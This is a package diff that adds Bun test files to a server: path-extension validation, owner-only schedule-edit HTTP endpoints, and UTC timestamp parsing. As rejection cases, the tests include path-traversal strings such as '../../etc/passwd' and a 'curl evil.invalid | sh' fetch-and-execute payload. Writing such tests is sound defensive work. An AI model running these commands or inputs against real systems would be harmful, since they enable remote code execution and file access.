@sleep2agi/commhub-server 0.9.0-preview.7 → 0.9.0-preview.71

package/src/ext-token-shared.test.ts

@@ -0,0 +1,60 @@
+import { describe, expect, test } from "bun:test";
+import {
+  buildStoragePath,
+  pathForExistingBlob,
+  validateIndexEntry,
+} from "./uploads.js";
+
+const fileId = "0123456789abcdef0123456789abcdef";
+const dateBucket = "2026-08-09";
+const uploadsRoot = "/srv/uploads";
+
+const malicious = [
+  "../x",
+  "/abs/x",
+  ".png/../../y",
+  ".p ng",
+  ".p\0ng",
+  ".\\..\\x",
+  "." + "a".repeat(17),
+  ".tar.gz",
+];
+
+const legal = ["", ".png", ".PNG", ".mp4", "." + "a".repeat(16)];
+
+describe("#527 shared extension-token invariant", () => {
+  test("new-upload path rejects every malformed token and accepts the shared legal set", () => {
+    for (const ext of malicious) {
+      expect(() => buildStoragePath(fileId, ext, { uploadsRoot })).toThrow(/ext .* is invalid/);
+    }
+    for (const ext of legal) {
+      expect(buildStoragePath(fileId, ext, { uploadsRoot }).ext).toBe(ext);
+    }
+  });
+
+  test("existing-blob path rejects every malformed token and accepts the shared legal set", () => {
+    for (const ext of malicious) {
+      expect(() => pathForExistingBlob(dateBucket, fileId, ext, { uploadsRoot })).toThrow(/ext .* is invalid/);
+    }
+    for (const ext of legal) {
+      expect(pathForExistingBlob(dateBucket, fileId, ext, { uploadsRoot }).ext).toBe(ext);
+    }
+  });
+
+  test("stored-index gate rejects every malformed token and accepts the shared legal set", () => {
+    for (const ext of malicious) {
+      expect(validateIndexEntry({ file_id: fileId, date_bucket: dateBucket, ext, size: 0 })).toBe(false);
+    }
+    for (const ext of legal) {
+      expect(validateIndexEntry({ file_id: fileId, date_bucket: dateBucket, ext, size: 0 })).toBe(true);
+    }
+  });
+
+  test("all three boundaries fail closed on non-string runtime values", () => {
+    for (const ext of [undefined, null, 7, {}, []]) {
+      expect(() => buildStoragePath(fileId, ext as never, { uploadsRoot })).toThrow(/ext .* is invalid/);
+      expect(() => pathForExistingBlob(dateBucket, fileId, ext as never, { uploadsRoot })).toThrow(/ext .* is invalid/);
+      expect(validateIndexEntry({ file_id: fileId, date_bucket: dateBucket, ext, size: 0 })).toBe(false);
+    }
+  });
+});

package/src/ext-validation-regression.test.ts

@@ -0,0 +1,131 @@
+// Task #25 — regression pins for ext validation in validateIndexEntry.
+//
+// 🔴 SCOPE: this suite exercises the stored-index boundary through
+// `validateIndexEntry`. Issue #527 removed the three independent copies
+// of the stored extension-token grammar: buildStoragePath,
+// pathForExistingBlob and validateIndexEntry now use one shared private
+// validator. `ext-token-shared.test.ts` separately pins all three call
+// sites. sanitizeExt remains intentionally independent because it parses
+// a client filename rather than validating an already-extracted token.
+//
+// Background (通信龙 d01bb8ce): the stored extension-token grammar
+// `/^\.[A-Za-z0-9]{1,16}$/` correctly rejects 11 known malicious ext
+// values (path-escape, traversal, absolute paths, doubles, NUL bytes,
+// backslash forms, over-length, whitespace). Verified via real-run on
+// origin/main by lead — 11/11 malicious values → false.
+//
+// But NO test locked that behavior. Anyone who widens the regex in the
+// future (accidentally or on purpose) would not hit a red test — the
+// live protection would degrade silently. This suite pins current
+// behavior in two directions:
+//
+//   1. SAFETY  (欠修 direction) — 11 malicious values → false, one row
+//      per value with the exact literal. If regex is widened to accept
+//      any of them, that row turns red.
+//   2. NON-REGRESSION (过修 direction) — a set of common legitimate
+//      extensions → true. If regex is tightened to reject any of them
+//      (e.g. someone locks down to a whitelist), that row turns red.
+//
+// Witnessed-red for the SAFETY rows: temporarily widen the regex to
+// `/./` (or comment it out) in validateIndexEntry, run this suite,
+// confirm all 11 malicious rows turn red, then revert. The mutation
+// itself is not committed; the assertion IS the mutation-red proof
+// for the reader. Recording the mutation output in the followup PR
+// body (per Constraint 3 discipline established in #503).
+//
+// Pure unit test — no server setup, no DB, no filesystem. The regex
+// lives in a pure function, so the guard is testable at that level.
+
+import { describe, expect, test } from "bun:test";
+import { validateIndexEntry } from "./uploads.js";
+
+// A structurally-valid base entry — file_id / date_bucket / size all
+// pass their own checks — so `ext` is the only field a test row varies.
+// This isolates the ext regex as the deciding factor.
+const validBase = {
+  file_id: "0123456789abcdef0123456789abcdef",
+  date_bucket: "2026-07-30",
+  size: 0,
+};
+
+describe("Task #25 (#503 followup) — ext validation regression pins", () => {
+  describe("SAFETY: the 11 malicious ext values from lead d01bb8ce all return false", () => {
+    // Each row uses the exact literal from lead's verification list so
+    // a widening regex catches on the same value the manual audit did.
+    const malicious: Array<{ label: string; ext: string }> = [
+      { label: "path-escape prefix",          ext: "../x" },
+      { label: "deep traversal to /etc",       ext: "../../etc/passwd" },
+      { label: "absolute path",               ext: "/abs/x" },
+      { label: "double-dot alone",            ext: ".." },
+      { label: "single-dot alone",            ext: "." },
+      { label: "chained after legit prefix",  ext: ".png/../../y" },
+      { label: "embedded whitespace",         ext: ".p ng" },
+      { label: "over-length (>16 chars)",     ext: "." + "a".repeat(17) },
+      { label: "embedded NUL byte",           ext: ".p\x00ng" },
+      { label: "backslash traversal",         ext: ".\\..\\x" },
+      { label: "double-backslash prefix",     ext: "..\\x" },
+    ];
+    for (const { label, ext } of malicious) {
+      test(`rejects: ${label} — ext=${JSON.stringify(ext)}`, () => {
+        expect(validateIndexEntry({ ...validBase, ext })).toBe(false);
+      });
+    }
+
+    test("precondition: 11 malicious cases enumerated (defends against silent test-shrink)", () => {
+      // If someone deletes rows from the malicious list, this fails
+      // instead of the deletion silently narrowing the guard. Number
+      // matches lead's verification list — bump only when lead adds a
+      // case and confirms it via real-run.
+      expect(malicious.length).toBe(11);
+    });
+  });
+
+  describe("NON-REGRESSION: common legitimate extensions all return true (防过修)", () => {
+    // These are the extensions the live upload path actually produces
+    // via sanitizeExt / mime-typed multipart uploads. If someone
+    // tightens the regex to a stricter whitelist, any of these turning
+    // red flags a break in a normal user path.
+    const legal = [".png", ".pdf", ".pptx", ".jpg", ".jpeg", ".txt", ".mp4", ".zip", ".json", ".md"];
+    for (const ext of legal) {
+      test(`accepts: ext=${JSON.stringify(ext)}`, () => {
+        expect(validateIndexEntry({ ...validBase, ext })).toBe(true);
+      });
+    }
+
+    test("empty ext is accepted (file with no extension is a legitimate upload)", () => {
+      expect(validateIndexEntry({ ...validBase, ext: "" })).toBe(true);
+    });
+
+    test("precondition: at least 10 legitimate ext values pinned", () => {
+      // Same discipline as the malicious side — reject silent shrink.
+      expect(legal.length).toBeGreaterThanOrEqual(10);
+    });
+  });
+
+  describe("regex shape assumptions (documented, not enforced by the function)", () => {
+    // These rows document facts the current regex enforces beyond the
+    // 11 malicious literals. They are close to the boundary and would
+    // be the first things to move if someone reworked the regex.
+    test("upper-case extensions accepted (regex is case-insensitive by [A-Za-z])", () => {
+      expect(validateIndexEntry({ ...validBase, ext: ".PNG" })).toBe(true);
+    });
+    test("mixed-case extensions accepted", () => {
+      expect(validateIndexEntry({ ...validBase, ext: ".PdF" })).toBe(true);
+    });
+    test("digits after dot accepted (e.g. .mp4, .mp3)", () => {
+      expect(validateIndexEntry({ ...validBase, ext: ".mp4" })).toBe(true);
+    });
+    test("exactly 16 chars after dot is accepted (upper bound of {1,16})", () => {
+      expect(validateIndexEntry({ ...validBase, ext: "." + "a".repeat(16) })).toBe(true);
+    });
+    test("exactly 17 chars after dot is rejected (immediately past upper bound)", () => {
+      expect(validateIndexEntry({ ...validBase, ext: "." + "a".repeat(17) })).toBe(false);
+    });
+    test("compound extensions like .tar.gz are rejected (contains inner dot)", () => {
+      // Documented: the current regex does not support compound
+      // extensions. If we ever want .tar.gz support, it needs its
+      // own explicit design + this row updated with lead sign-off.
+      expect(validateIndexEntry({ ...validBase, ext: ".tar.gz" })).toBe(false);
+    });
+  });
+});

package/src/external-schedule-edits-http.test.ts

@@ -0,0 +1,321 @@
+import { afterAll, beforeAll, describe, expect, test } from "bun:test";
+import { mkdtempSync, rmSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { addNetworkMember, createNetworkTokenForNode, register } from "./auth.js";
+import { db } from "./db.js";
+import { upsertNodeWithSec1Guard } from "./tools.js";
+
+const dir = mkdtempSync(join(tmpdir(), "anet-external-schedule-edits-"));
+if (!process.env.COMMHUB_DB) throw new Error("test688 requires COMMHUB_DB before module import");
+
+const stamp = `${process.pid}_${Date.now()}`;
+const nodeId = `n_b4_${stamp}`;
+const alias = `b4-node-${stamp}`;
+const scheduleId = "managed-news-pull";
+let server: any;
+let base = "";
+let networkId = "";
+let adminToken = "";
+let ownerToken = "";
+let memberToken = "";
+let nodeToken = "";
+let foreignNodeToken = "";
+let nodeTokenId = "";
+let ownerId = "";
+let memberId = "";
+
+async function api(token: string, path: string, init?: RequestInit) {
+  const response = await fetch(`${base}${path}`, {
+    ...init,
+    headers: { Authorization: `Bearer ${token}`, "Content-Type": "application/json", ...(init?.headers || {}) },
+  });
+  return { status: response.status, body: await response.json() as any };
+}
+
+function snapshot(revision: number, extra: Record<string, unknown> = {}) {
+  return JSON.stringify({
+    observed_at: new Date().toISOString(),
+    schedules: [{
+      id: scheduleId,
+      name: "Pull X news",
+      kind: "cron",
+      frequency: "0 */6 * * *",
+      status: "active",
+      enabled: true,
+      editable: true,
+      revision,
+      log_ref: "grok-news.log",
+      ...extra,
+    }],
+  });
+}
+
+// 30s 而不是 bun 默认的 5s:这个 hook 跑 register()(KDF)+bootServer(),
+// 本机空载基线 ~620ms,而 2026-08-17 与 2026-08-31 两次 CI 上它被 5s 上限打死
+// (0 pass / 1 fail / Ran 1 test —— 见 #928、#1627)。5247ms 是**被截断的下界**,
+// 不是测量值,所以余量按基线的 ~48x 取,而不是按那个数取。
+beforeAll(async () => {
+  const admin = register(`b4_admin_${stamp}`, "B4Admin123!", undefined, "B4 Admin");
+  const owner = register(`b4_owner_${stamp}`, "B4Owner123!", undefined, "B4 Owner");
+  const member = register(`b4_member_${stamp}`, "B4Member123!", undefined, "B4 Member");
+  expect(admin.ok && owner.ok && member.ok).toBe(true);
+  adminToken = admin.token!;
+  ownerToken = owner.token!;
+  memberToken = member.token!;
+  networkId = admin.network_id!;
+  const adminId = admin.user!.user_id;
+  ownerId = owner.user!.user_id;
+  memberId = member.user!.user_id;
+  // 多用户 Agent 权限:新成员默认只看授权 Agent;本测试测的是「完全信任的成员」旧语义,显式 agent_access=all。
+  expect(addNetworkMember(networkId, ownerId, "member", adminId, { agentAccess: "all" }).ok).toBe(true);
+  expect(addNetworkMember(networkId, memberId, "member", adminId, { agentAccess: "all" }).ok).toBe(true);
+
+  const minted = createNetworkTokenForNode(ownerId, networkId, alias, nodeId);
+  expect(minted.ok).toBe(true);
+  nodeToken = minted.token!;
+  nodeTokenId = minted.token_id!;
+  const foreign = createNetworkTokenForNode(memberId, networkId, `foreign-${alias}`, `n_foreign_${stamp}`);
+  expect(foreign.ok).toBe(true);
+  foreignNodeToken = foreign.token!;
+
+  db.run(
+    `INSERT INTO sessions (resume_id, alias, status, node_id, network_id, external_schedules, updated_at)
+     VALUES (?1, ?2, 'idle', ?3, ?4, ?5, datetime('now'))`,
+    [`r_b4_${stamp}`, alias, nodeId, networkId, snapshot(7)],
+  );
+
+  const mod: any = await import("./server.js");
+  server = mod.bootServer({ port: 0, hostname: "127.0.0.1" });
+  base = `http://127.0.0.1:${server.port}`;
+}, 30_000);
+
+afterAll(() => {
+  try { server?.stop?.(true); } catch {}
+  try { rmSync(dir, { recursive: true, force: true }); } catch {}
+});
+
+describe("RFC-036 exact-owner external schedule edit intents", () => {
+  test("ownership is pinned at node-token mint and cannot be stolen", () => {
+    const node = db.get<any>("SELECT owner_user_id, network_id FROM nodes WHERE node_id = ?1", nodeId)!;
+    expect(node.owner_user_id).toBe(ownerId);
+    expect(node.network_id).toBe(networkId);
+    const ownerAudit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.owner_claimed' AND target_id = ?1", nodeId)!;
+    expect(ownerAudit).toBeTruthy();
+    expect(JSON.parse(ownerAudit.detail)).toEqual({ node_id: nodeId, network_id: networkId });
+    const theft = createNetworkTokenForNode(memberId, networkId, alias, nodeId);
+    expect(theft).toEqual({ ok: false, error: "node_owner_mismatch" });
+
+    const legacy = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`);
+    expect(legacy.ok).toBe(true);
+    expect(db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", legacy.token_id!)!.bound_node_id).toBeNull();
+  });
+
+  test("the real node-token HTTP endpoint requires and persists the immutable node binding", async () => {
+    const httpNodeId = `n_b4_http_${stamp}`;
+    const minted = await api(ownerToken, "/api/auth/node-token", {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, node_name: `${alias}-http`, node_id: httpNodeId }),
+    });
+    expect(minted.status).toBe(200);
+    expect(minted.body.node_id).toBe(httpNodeId);
+    expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", httpNodeId)!.owner_user_id).toBe(ownerId);
+    const resolved = db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", minted.body.token_id)!;
+    expect(resolved.bound_node_id).toBe(httpNodeId);
+  });
+
+  test("report_status verifies an owner binding but never first-claims a legacy node", () => {
+    expect(upsertNodeWithSec1Guard({
+      node_id: nodeId,
+      callerNetworkId: networkId,
+      callerUserId: ownerId,
+      callerTokenId: nodeTokenId,
+      alias,
+      runtime: "codex-app-server",
+    }).result).toBe("updated");
+    const wrongOwner = upsertNodeWithSec1Guard({
+      node_id: nodeId,
+      callerNetworkId: networkId,
+      callerUserId: memberId,
+      callerTokenId: nodeTokenId,
+      alias,
+    });
+    expect(wrongOwner).toMatchObject({ result: "refused", reason: "owner_mismatch" });
+
+    const legacyNodeId = `n_b4_legacy_${stamp}`;
+    db.run(
+      "INSERT INTO nodes (node_id, node_name, alias, network_id) VALUES (?1, ?2, ?2, ?3)",
+      [legacyNodeId, `${alias}-legacy`, networkId],
+    );
+    expect(upsertNodeWithSec1Guard({
+      node_id: legacyNodeId,
+      callerNetworkId: networkId,
+      callerUserId: ownerId,
+      alias: `${alias}-legacy`,
+      runtime: "claude-code-cli",
+    }).result).toBe("updated");
+    expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
+    const legacyClaim = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`, legacyNodeId);
+    expect(legacyClaim).toEqual({ ok: false, error: "node_owner_unclaimed" });
+    expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
+  });
+
+  test("network admin, member, node token, and unknown authority fields cannot create an intent", async () => {
+    const request = {
+      network_id: networkId,
+      schedule_id: scheduleId,
+      base_revision: 7,
+      patch: { enabled: false },
+    };
+    for (const token of [adminToken, memberToken, nodeToken]) {
+      const denied = await api(token, `/api/nodes/${nodeId}/external-schedule-edits`, { method: "POST", body: JSON.stringify(request) });
+      expect(denied.status).toBe(403);
+    }
+    const forged = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ ...request, owner_user_id: ownerId }),
+    });
+    expect(forged.status).toBe(400);
+    expect(forged.body.error).toBe("invalid_request");
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_requested'")!.count).toBe(0);
+  });
+
+  test("structured patch rejects command, paths, aliases, malformed cron, and empty edits before write", async () => {
+    const invalidPatches = [
+      { command: "curl evil.invalid | sh" },
+      { path: "/etc/crontab" },
+      { env: { SECRET: "value" } },
+      { cron: "@reboot" },
+      { cron: "0 0 * * * root" },
+      { cron: "0 0 * * *\n* * * * *" },
+      { cron: "61 0 * * *" },
+      {},
+    ];
+    for (const patch of invalidPatches) {
+      const denied = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+        method: "POST",
+        body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch }),
+      });
+      expect(denied.status).toBe(400);
+    }
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
+  });
+
+  test("concurrent owner requests create exactly one opaque pending intent", async () => {
+    const request = {
+      method: "POST",
+      body: JSON.stringify({
+        network_id: networkId,
+        schedule_id: scheduleId,
+        base_revision: 7,
+        patch: { cron: "0 */12 * * *", enabled: true },
+      }),
+    };
+    const responses = await Promise.all([
+      api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
+      api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
+    ]);
+    expect(responses.map((value) => value.status).sort()).toEqual([202, 409]);
+    const accepted = responses.find((value) => value.status === 202)!;
+    expect(accepted.body.intent.intent_id).toMatch(/^sei_[0-9a-f-]+$/);
+    expect(accepted.body.intent.patch).toEqual({ enabled: true, cron: "0 */12 * * *" });
+    expect(accepted.body.intent.created_by_user).toBeUndefined();
+    expect(accepted.body.intent.created_by_token).toBeUndefined();
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
+
+    const audit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.edit_requested'")!;
+    expect(audit).toBeTruthy();
+    expect(audit.detail).not.toContain("curl");
+    expect(audit.detail).not.toContain("/etc/");
+    expect(audit.detail).not.toContain("utok_");
+    expect(JSON.parse(audit.detail).fields).toEqual(["cron", "enabled"]);
+  });
+
+  test("only the exact bound node token can claim; lost-response pull and terminal ack are idempotent", async () => {
+    const foreign = await api(foreignNodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(foreign.status).toBe(403);
+    expect(foreign.body.error).toBe("node_token_binding_required");
+
+    const first = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(first.status).toBe(200);
+    expect(first.body.intent.status).toBe("delivered");
+    const intentId = first.body.intent.intent_id;
+    const repeated = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(repeated.body.intent.intent_id).toBe(intentId);
+
+    const wrongRevision = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "applied", result_revision: 99 }),
+    });
+    expect(wrongRevision.status).toBe(409);
+    expect(wrongRevision.body.error).toBe("invalid_result_revision");
+
+    const applied = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
+    });
+    expect(applied.status).toBe(200);
+    expect(applied.body.intent.status).toBe("applied");
+    const retried = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
+    });
+    expect(retried.status).toBe(200);
+    expect(retried.body.idempotent).toBe(true);
+    const contradictory = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "rejected", error_code: "local_apply_failed" }),
+    });
+    expect(contradictory.status).toBe(409);
+    expect(contradictory.body.error).toBe("intent_already_terminal");
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_applied'")!.count).toBe(1);
+  });
+
+  test("a delivered intent expires with its TTL and cannot permanently wedge single-flight", async () => {
+    db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
+    const created = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
+    });
+    expect(created.status).toBe(202);
+    const claimed = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(claimed.body.intent.intent_id).toBe(created.body.intent.intent_id);
+    db.run("UPDATE external_schedule_edits SET expires_at = ?1 WHERE intent_id = ?2", [Date.now() - 1, created.body.intent.intent_id]);
+    const afterExpiry = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(afterExpiry.body.intent).toBeNull();
+    expect(db.get<any>("SELECT status FROM external_schedule_edits WHERE intent_id = ?1", created.body.intent.intent_id)!.status).toBe("expired");
+
+    const replacement = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
+    });
+    expect(replacement.status).toBe(202);
+    db.run("DELETE FROM external_schedule_edits WHERE intent_id IN (?1, ?2)", [created.body.intent.intent_id, replacement.body.intent.intent_id]);
+  });
+
+  test("stale snapshot revision and read-only schedules fail closed without creating intent", async () => {
+    db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
+    const stale = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch: { enabled: false } }),
+    });
+    expect(stale.status).toBe(409);
+    expect(stale.body.error).toBe("revision_conflict");
+
+    db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+2 second') WHERE node_id = ?2", [snapshot(8, { editable: false }), nodeId]);
+    const readOnly = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
+    });
+    expect(readOnly.status).toBe(409);
+    expect(readOnly.body.error).toBe("schedule_read_only");
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
+  });
+
+  test("owner history exposes no identity, token, network, or command metadata", async () => {
+    const listed = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits?network_id=${encodeURIComponent(networkId)}`);
+    expect(listed.status).toBe(200);
+    expect(listed.body.edits).toHaveLength(1);
+    const serialized = JSON.stringify(listed.body);
+    for (const secretField of ["created_by_user", "created_by_token", "consumed_by_token", "network_id", "command", "path", "env"]) {
+      expect(serialized).not.toContain(secretField);
+    }
+  });
+});

package/src/external-schedule-edits-timestamps.test.ts

@@ -0,0 +1,64 @@
+import { describe, expect, it } from "bun:test";
+import { parseHubTimestamp } from "./hub-timestamp";
+
+// #1650 —— external-schedule-edits 的 publicEdit() 原先对四个时间列直接
+// `new Date(row.x).toISOString()`。这些列是 SQLite `datetime('now')` 家族:
+// **UTC 但不带时区标记**,而 JS 对「有时间、无偏移」的串按**本机时区**解析,
+// 且不报错 ⇒ 发给 API 消费方的是一个错的时刻。
+
+function hubIso(raw: unknown): string | null {
+  const ms = parseHubTimestamp(raw);
+  return ms === null ? null : new Date(ms).toISOString();
+}
+
+describe("#1650 hub 时间戳按 UTC 解析", () => {
+  it("🔴 无时区标记的串按 UTC 解析,不按本机时区", () => {
+    expect(hubIso("2026-08-30 21:04:11")).toBe("2026-08-30T21:04:11.000Z");
+  });
+
+  it("🔴 反向见证:旧写法在非 UTC 机器上会给出不同的结果", () => {
+    const old = new Date("2026-08-30 21:04:11").toISOString();
+    const now = hubIso("2026-08-30 21:04:11")!;
+    // 只有当本机恰好是 UTC 时两者才相同;此处断言的是「新写法等于 UTC 语义」,
+    // 而 old 的值取决于运行机器 —— 所以只在两者不同时才有对比意义。
+    const offsetMin = new Date("2026-08-30T21:04:11Z").getTimezoneOffset();
+    if (offsetMin !== 0) expect(old).not.toBe(now);
+    expect(now).toBe("2026-08-30T21:04:11.000Z");
+  });
+
+  it("带 Z 的串保持原意", () => {
+    expect(hubIso("2026-08-30T21:04:11Z")).toBe("2026-08-30T21:04:11.000Z");
+  });
+
+  it("🔴 垃圾串返回 null,而不是抛 RangeError(旧写法会把接口打成 500)", () => {
+    expect(hubIso("not-a-date")).toBeNull();
+    expect(hubIso(null)).toBeNull();
+    expect(hubIso(undefined)).toBeNull();
+    expect(() => new Date("not-a-date").toISOString()).toThrow();
+  });
+});
+
+// 🔴 上面四条测的是 helper 的语义。真正要钉住的是**那个文件用了它**——
+//    否则 helper 再对,publicEdit 里改回 `new Date(row.x)` 也照样全绿。
+import { readFileSync } from "node:fs";
+import { join } from "node:path";
+
+describe("#1650 publicEdit 必须走 hubIso,不能有裸 new Date(row.*)", () => {
+  const SRC = readFileSync(join(import.meta.dir, "external-schedule-edits.ts"), "utf-8");
+  const CODE = SRC.split("\n").filter(l => !/^\s*(\/\/|\*|\/\*)/.test(l)).join("\n");
+
+  it("🔴 源码里不再有裸 new Date(row.…)", () => {
+    expect(/new Date\(row\./.test(CODE)).toBe(false);
+  });
+
+  it("四个时间列都走 hubIso", () => {
+    for (const f of ["expires_at", "created_at", "delivered_at", "acked_at"]) {
+      expect(CODE).toContain(`${f}: hubIso(row.${f})`);
+    }
+  });
+
+  it("hubIso 复用 parseHubTimestamp,没有第二套判据", () => {
+    expect(CODE).toContain('from "./hub-timestamp"');
+    expect(CODE).toContain("parseHubTimestamp(raw)");
+  });
+});